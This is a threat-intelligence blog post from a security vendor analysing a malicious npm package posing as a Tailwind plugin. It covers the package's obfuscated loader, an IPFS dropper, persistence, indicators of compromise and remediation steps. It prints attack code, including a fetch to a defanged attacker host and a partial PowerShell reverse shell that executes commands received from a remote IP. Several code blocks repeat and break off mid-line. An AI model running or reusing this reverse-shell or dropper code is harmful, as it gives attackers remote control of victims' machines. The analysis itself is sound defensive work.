BACK

Real World Attacks

Aurelia-type: The NPM Package That Only Runs on One Machine

Andy Blair

Andy Blair

21 Jul 2026

Real World Attacks

Aurelia-type: The NPM Package That Only Runs on One Machine

Andy Blair

Andy Blair

21 Jul 2026

Real World Attacks

Aurelia-type: The NPM Package That Only Runs on One Machine

Andy Blair

Andy Blair

21 Jul 2026

No headings found in content selector: .toc-content

Executive overview

Yesterday, Ossprey's threat-hunting system detected a pair of malicious packages(aurelia-type@0.5.1 ,selparsecss-selector@2.1.0 ) and that warranted further investigation. The package masked itself as a plugin for the widely used tailwindCSS, and provided real functionality, along side a suspicious block of code, hidden in one of the files, although not directly executed by either package.

Today, another update was published to the parent package, aurelia-type@0.5.2 which is a live, real supply chain attack. We detected this within around a minute of this being published, and quickly picked this up as it had gained our interest from the day before. Both versions of the package(s), used the same techniques to actually gain a reverse shell connection to the target's machine.

Possibly the most interesting part of this attack, is that the final payload is hidden behind a hash, built from the host's username and machine name. This means the actual payload is targeting a single machine, therefore it is either an incredibly targeted attack, or a guard added to prevent security companies inspecting the final payload, until the attacker removes it.

Technical Breakdown


Stage 0: Executing arbirtary code

Both versions of the package are doing the same basic thing, in different ways. The initial version we discovered yesterday, used a modified clone dependency selparsecss-selector to contain the payload, this is referenced in package.json of aurelia-type in version 0.5.1 and below. It contains a fake webpack.min.js which does not seem to be invoked by either package, however it is unmistakably a malicious loader (more on this in stage 2!). The aurelia-type package itself contained code that registered .jsc files with the runtime, and the downstream dependency then through a series of obfuscations, decodes, and smoke and mirrors, resolves to a file selectors/fragment.jsc meant to execute the malicious webpack bundle. More on this can be found in yesterday's blog

Today's version, 0.5.2, uses a more direct approach. Using String.fromCharCode across a series of number arrays, it constructs the following javascript to be executed at runtime (this happens when the plugin is registered)

const https = require('https');
https.get('https://4b5ad122[.]jsdelivrnetnpm[.]pages[.]

const https = require('https');
https.get('https://4b5ad122[.]jsdelivrnetnpm[.]pages[.]

const https = require('https');
https.get('https://4b5ad122[.]jsdelivrnetnpm[.]pages[.]

Both payloads differ slightly, but are functionally the same, and lead us on to the next stage of the attack.

Stage 1: The first stage loader

Both versions of the package end up in this state, either via running the webpack.min.js or from downloading the config.js , so let's look at exactly what this script is doing.

Both scripts are heavily obfuscated, but once de-obfuscated a clearer picture emerges. 0.5.2 's script has some basic anti detection practice, it avoids executing on linux, docker, if it can detect it's running in Github CI/CD, or if a javascript debugger is attached. This is fairly basic anti-detection designed to avoid automated detection, and stay hidden. This seems to have had some success, as a lot of security venders still consider this package as safe, but once it's in front of a human, de-obfuscated, it becomes clear this is yet another malware dropper.

The main contents of the file are pretty straightforward once we discount the anti-detection. It loads one of two files from IPFS (interplanetary filesystem, distributed filestore on the blockchain), which we've seen deliver payloads recently in the aysncapi attack. This stage checks the user, to see where to persist to (admin goes system wide, otherwise local only). And creates a daemon that auto starts the payload on both windows and macOS.

Simplified the script looks something like this

 
function passesPreflightChecks() {
  // false if: running in CI/containers, or a debugger is attached
}
 
if (!passesPreflightChecks()) process.exit(0);
 
const payloadUrl = {
  win32:  'hxxps://remote-beige-sparrow[.]myfilebase[.]com/ipfs/QmbK1kop...ELNzefw',
  darwin: 'hxxps://remote-beige-sparrow[.]myfilebase[.]com/ipfs/QmWZYPgu...7F1ZfR',
}[os.platform()]

 
function passesPreflightChecks() {
  // false if: running in CI/containers, or a debugger is attached
}
 
if (!passesPreflightChecks()) process.exit(0);
 
const payloadUrl = {
  win32:  'hxxps://remote-beige-sparrow[.]myfilebase[.]com/ipfs/QmbK1kop...ELNzefw',
  darwin: 'hxxps://remote-beige-sparrow[.]myfilebase[.]com/ipfs/QmWZYPgu...7F1ZfR',
}[os.platform()]

 
function passesPreflightChecks() {
  // false if: running in CI/containers, or a debugger is attached
}
 
if (!passesPreflightChecks()) process.exit(0);
 
const payloadUrl = {
  win32:  'hxxps://remote-beige-sparrow[.]myfilebase[.]com/ipfs/QmbK1kop...ELNzefw',
  darwin: 'hxxps://remote-beige-sparrow[.]myfilebase[.]com/ipfs/QmWZYPgu...7F1ZfR',
}[os.platform()]

Stage 2: Persistence achieved

The final stage has been downloaded, and is set to auto start, and persist restarts. This final stage is heavily encrypted, with several layers of encryption. The payload is an array of base64 strings, which is XOR-er with a a SHA-256 of COMPUTERNAME|USERNAME|"windows_system32&update" , even if we were able to get past this, and break this encryption, the resulting value is still encrypted with AES-256. Finally by that stage we'd still need to know that the contents need decompressed with GZIP. That's a lot of layers of encryption to try to obfuscate the actual payload.

Thankfully we were able to detect a weakness in how the values were encrypted, and get the SHA-256 key. Once we had this, the AES-256 key, was in the decoded output. After a few iterations we were finally able to get the GZIP compressed output, which finally gives us the payload.

# Persistent Reverse Shell with Auto-Reconnect (Chunked Output)
while ($true) {
    try {
        $client = New-Object System.Net.Sockets.TCPClient("185[.]139[.]214[.]52", 7331)
        $stream = $client.GetStream()
        [byte[]]$bytes = 0..65535 | % { 0 }
        while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
            $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
            $sendback = (IEX $data 2>&1 | Out-String -Width 8192)
            $sendbyte = ([text.encoding]::UTF8).GetBytes($sendback)
            $totalBytes = $sendbyte.Length
            $offset = 0
            $chunkSize = 65536
            while ($offset -lt $totalBytes) {
                $remaining = $totalBytes - $offset
                $currentChunkSize = [Math]

# Persistent Reverse Shell with Auto-Reconnect (Chunked Output)
while ($true) {
    try {
        $client = New-Object System.Net.Sockets.TCPClient("185[.]139[.]214[.]52", 7331)
        $stream = $client.GetStream()
        [byte[]]$bytes = 0..65535 | % { 0 }
        while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
            $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
            $sendback = (IEX $data 2>&1 | Out-String -Width 8192)
            $sendbyte = ([text.encoding]::UTF8).GetBytes($sendback)
            $totalBytes = $sendbyte.Length
            $offset = 0
            $chunkSize = 65536
            while ($offset -lt $totalBytes) {
                $remaining = $totalBytes - $offset
                $currentChunkSize = [Math]

# Persistent Reverse Shell with Auto-Reconnect (Chunked Output)
while ($true) {
    try {
        $client = New-Object System.Net.Sockets.TCPClient("185[.]139[.]214[.]52", 7331)
        $stream = $client.GetStream()
        [byte[]]$bytes = 0..65535 | % { 0 }
        while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
            $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
            $sendback = (IEX $data 2>&1 | Out-String -Width 8192)
            $sendbyte = ([text.encoding]::UTF8).GetBytes($sendback)
            $totalBytes = $sendbyte.Length
            $offset = 0
            $chunkSize = 65536
            while ($offset -lt $totalBytes) {
                $remaining = $totalBytes - $offset
                $currentChunkSize = [Math]

This is a fairly straight forward reverse shell. It reaches out to the IP address above, on port 7331, it executes the bytes it receives, and gives back the response (This is what the IEX $dataline does). So after all these stages, there's finally a full reverse shell into the target computer.

What Should You Do

  1. Remove aurelia-type and selparsecss-selector from all projects and delete them from node_modules; search package-lock.json and yarn.lock for both package names including transitive entries.

  2. On macOS, inspect /Library/LaunchDaemons/ and ~/Library/LaunchAgents/ for any plist file containing updatesystem and remove it, then run launchctl unload on the plist path before deleting.

  3. On Windows, check C:\Windows\System32\ for updatesystem32.ps1 and updatesystem32.vbs; review PowerShell execution logs and the Windows event log for Invoke-Expression activity.

  4. Audit .bashrc, .zshrc, /etc/profile, and any other shell init files on affected developer machines for appended commands re-executing unknown scripts.

  5. Rotate all credentials accessible from affected developer machines, including cloud provider keys, npm tokens, SSH keys, and browser-stored credentials.

  6. Block outbound connections to ipfs.io in developer environments, or add the two specific IPFS CIDs (QmVAin... and QmbZ3b...) to DNS/proxy blocklists.

  7. Audit npm dependency trees for any other packages authored by pyramid.info@gmail.com or the npm account that published these packages.

Indicators of Compromise

Network

  • https://ipfs[.]io/ipfs/QmVAinwjG1oN8WittDB6hYqgo5mMYbpfLskq4LdT75Dzyn

  • https://ipfs[.]io/ipfs/QmbZ3biucSF61WnW3NdsXyak6Kk455dDGxLEGvinUycBLB

  • https://ipfs[.]io/ipfs/QmbK1kopMyo6jFrc9c22YZKo2C8KLkAy67ySk4tELNzefw

  • https://ipfs[.]io/ipfs/QmWZYPguySJgFYiRHEqJQeyQ3jvL2ujarwHrf68x7F1ZfR

  • 4b5ad122[.]jsdelivrnetnpm[.]pages[.]dev

  • remote-beige-sparrow[.]myfilebase[.]com (IPFS pinning gateway)

  • 185[.]139[.]214[.]52:7331

Filesystem

  • /tmp/updatesystem.sh

  • /usr/local/bin/updatesystem.sh

  • ~/bin/updatesystem.sh

  • /Library/LaunchDaemons/com.apple.updatesystem.plist

  • ~/Library/LaunchAgents/com.apple.updatesystem.plist

  • C:\Windows\System32\updatesystem32.ps1

  • C:\Windows\System32\updatesystem32.vbs

  • Audit shell profiles .bashrc .zshrc etc

Affected Versions

  • aurelia-type ALL

  • selparsecss-selector ALL

MITRE ATT&CK


ID

Technique

Why it applies

T1195.002

Supply Chain Compromise: Compromise Software Supply Chain

Both packages were published to the npm registry as impersonators of popular CSS libraries, weaponizing developer trust in the ecosystem to deliver malware on install.

T1027

Obfuscated Files or Information

styles.js encodes bytenode via CSS em-unit arithmetic; webpack.min.js uses a 700-entry RC4-shuffled string table; file paths use CSS hex escapes decoded by unesc().

T1059.001

Command and Scripting Interpreter: PowerShell

updatesystem32.ps1 is the Windows second-stage, launched with -NoProfile -ExecutionPolicy Bypass and executing a device-fingerprint-decrypted payload via Invoke-Expression.

T1059.005

Command and Scripting Interpreter: Visual Basic

updatesystem32.vbs uses Shell.Application.ShellExecute with "runas" to trigger UAC elevation for the PowerShell stage.

T1059.004

Command and Scripting Interpreter: Unix Shell

The macOS dropper writes and executes updatesystem.sh via nohup /bin/bash or sudo nohup /bin/bash.

T1543.004

Create or Modify System Process: Launch Daemon

Root-level persistence is achieved by writing /Library/LaunchDaemons/com.apple.updatesystem.plist, mimicking legitimate Apple daemon naming.

T1543.001

Create or Modify System Process: Launch Agent

User-level persistence falls back to ~/Library/LaunchAgents/com.apple.updatesystem.plist when getuid() is non-zero.

T1546.004

Event Triggered Execution: Unix Shell Configuration Modification

.bashrc, .zshrc, and /etc/profile are modified to re-execute the dropper payload on each new interactive shell session.


A Note from Ossprey

What's interesting about this attack is that it will only work if the machine name, and username result in the correct SHA-256 to decode the payload. This would imply that either the attack is testing this as a method (using their own machine details to obfuscate the final payload until they publish a new version). Or more likely this is targeting a single user, on a single host, this would mean the victim has already been decided, and the attacker has some degree of information on them.

The move from version 0.5.1 , where the payload is delivered via a malicious dependency, to 0.5.2 , where it is delivered via a downloaded JS file, does mean that it becomes slightly more trivial for the attacker to rotate the IPFS final payload, so both options remain a possibility.

Recently there has been conversation around minimum install age; however in this case the downstream dependency selparsecss-selector has been online for over 6 days. Hundreds of small malicious packages like this continue to live on the registry as more and more supply chain attacks slip through the cracks.

Ossprey scores open source packages on what they actually do, so you can approve install scripts with evidence instead of guesswork, and catch the malicious behaviour that slips past signatures and allowlists. It sits next to your existing tools without slowing your developers down, and only surfaces what's worth your time.

You don't have to take any of this on faith. Ossprey is in open beta, so you can point it at your own dependencies and see what turns up today: start with the open beta, or book a demo.


SHARE

Subscribe Now

Subscribe Now

Subscribe Now

Ossprey helps you understand what code is trying to do,  before you trust it.

Ossprey helps you understand what code is trying to do,  before you trust it.

Related articles.

Related articles.

Related articles.